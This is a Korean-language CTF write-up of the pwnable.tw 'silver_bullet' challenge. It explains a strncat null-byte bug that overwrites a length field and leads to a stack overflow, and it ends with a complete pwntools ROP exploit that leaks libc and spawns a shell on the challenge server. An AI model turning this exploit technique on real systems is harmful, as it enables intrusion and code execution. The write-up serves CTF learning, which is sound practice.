Write-up

[pwnable.tw] silver_bullet

ch4rli3kop 2019. 1. 7. 05:52
반응형

[summary]

  • null byte bug

  • bof -> rop

analysis

m444ndu@ubuntu:~/pwntw/silver_bullet$ checksec  silver_bullet 
[*] '/home/m444ndu/pwntw/silver_bullet/silver_bullet'
  Arch:     i386-32-little
  RELRO:   Full RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x8048000)

main 문의 ebp-0x34 위치의 변수를 다음과 같이 바꿔주시면 분석이 용이합니당

_bullet{
   char bullet[0x30];
   int bullet_power;
}

create_bullet()

  if ( _bullet->bullet[0] )
   return puts("You have been created the Bullet !");
 printf("Give me your description of bullet :");
 read_input(_bullet, 0x30u);
 v2 = strlen(_bullet->bullet);
 printf("Your power is : %u\n", v2);
 _bullet->bullet_power = v2;
 return puts("Good luck !!");

그냥 초반에 입력받은 문자의 개수를 bullet_power에 저장합니다. 별로 중요하지는 않은 것 같습니다.

power_up()

int __cdecl power_up(struct bullet_struct *_bullet)
{
 char buf; // [esp+0h] [ebp-34h]
 int v3; // [esp+30h] [ebp-4h]

 v3 = 0;
 memset(&buf, 0, 0x30u);
 if ( !_bullet->bullet[0] )
   return puts("You need create the bullet first !");
 if ( _bullet->bullet_power > 0x2Fu )
   return puts("You can't power up any more !");
 printf("Give me your another description of bullet :");
 read_input(&buf, 48 - _bullet->bullet_power);
 strncat(_bullet->bullet, &buf, 48 - _bullet->bullet_power);
 v3 = strlen(&buf) + _bullet->bullet_power;
 printf("Your new power is : %u\n", v3);
 _bullet->bullet_power = v3;
 return puts("Enjoy it !");
}

bullet_power가 <= 47일 경우 입력하지 않은 남은 bullet 공간의 크기만큼 입력을 더 받아 bullet에 추가한 뒤, bullet_power를 업데이트합니다. 사실 본 바이너리의 취약점은 여기서 발생합니다.

기존 bullet 문자열에 추가를 strncat() 함수로 진행하는데, strcat, strncat의 경우 기존 destination 문자열null부터 문자열을 추가한 뒤, 뒤에 null을 붙입니다. bullet 배열 다음은 bullet_power이므로, bullet_powernull로 덮어지는 경우가 발생합니다. 이 후 bullet_power는 기존 buf에 남아있는 문자열의 개수로 업데이트됩니다.

따라서, 만약 47만큼 bullet이 덮인 상황이라면 1바이트만큼 추가로 덮이게 되고, 본 함수가 끝날 때 bullet_power는 1로 업데이트됩니다. 여기에 다시 한번 power_up() 함수를 실행하면, read_input()으로 47바이트만큼 입력을 받아 strncat()을 통해 bullet[0x31]부터 덮어쓸 수 있게됩니다.("A"*47 + "A" + "0x01" + 추가) 덮어쓸 수 있는 범위 안에 eip가 존재하므로 ROP chain을 통한 exploit이 가능합니다.

beat()

  if ( a1->bullet[0] )
{
   puts(">----------- Werewolf -----------<");
   printf(" + NAME : %s\n", a2[1]);
   printf(" + HP : %d\n", *a2);
   puts(">--------------------------------<");
   puts("Try to beat it .....");
   usleep(1000000u);
   *a2 -= a1->bullet_power;
   if ( *a2 <= 0 )
  {
     puts("Oh ! You win !!");
     result = 1;
  }

0x7fffffff만큼있는 Gin의 HPbullet_power로 열심히 깎을 수 있습니다. HP가 0이하가 되면 1을 리턴하여 main 함수가 정상적으로 종료함으로써 아까 구성한 ROP chain을 사용할 수 있게 됩니다.

exploit

#! /usr/bin/python
from pwn import *

def powerup(data):
   r.sendlineafter('Your choice :','2')
   r.sendlineafter('bullet :',data)

def beat():
   r.sendlineafter('Your choice :','3')

r = process('./silver_bullet', env={'LD_PRELOAD':'./libc_32.so.6'})
r = remote('chall.pwnable.tw',10103)
#context.log_level = 'debug'
#gdb.attach(r,'b* 0x080488dd')


# ----- stage 1 : leak libc ----- #

### create bullet ###
r.sendlineafter('Your choice :','1')
r.sendlineafter('bullet :','A'*47)

### power up! ###
powerup('A')  # bullet_power -> 1

'''
puts@plt 0x80484a8:   jmp   DWORD PTR ds:0x804afdc

'''
payload = ''
payload += 'A'*7
payload += p32(0x080484a8) # puts@plt
payload += p32(0x08048475) # pop ebx ; ret
payload += p32(0x0804afdc) # puts@got
payload += p32(0x08048954) # return main

powerup(payload)
beat()
beat()

r.recvuntil('Oh ! You win !!\n')
leak = u32(r.recv(4))
libc_base = leak - 389440
success('libc_base = '+hex(libc_base))

system_addr = libc_base + 239936
binsh_addr = libc_base + 1412747

# ----- stage 2 : execute system("/bin/sh") ----- #

### create bullet ###
r.sendlineafter('Your choice :','1')
r.sendlineafter('bullet :','A'*47)

### power up! ###
powerup('A')  # bullet_power -> 1

payload2 = ''
payload2 += 'B'*7
payload2 += p32(system_addr)
payload2 += 'AAAA'
payload2 += p32(binsh_addr)

powerup(payload2)
beat()
beat()

r.interactive()


반응형

'Write-up' 카테고리의 다른 글

[pwnable.tw] hacknote  (0) 2019.01.07
[pwnable.tw] orw  (0) 2019.01.07
[pwnable.tw] start  (0) 2019.01.07
[X-MAS CTF 2018] writeup  (0) 2018.12.29
[RITSEC 2018] Gimme sum fud write up  (0) 2018.11.22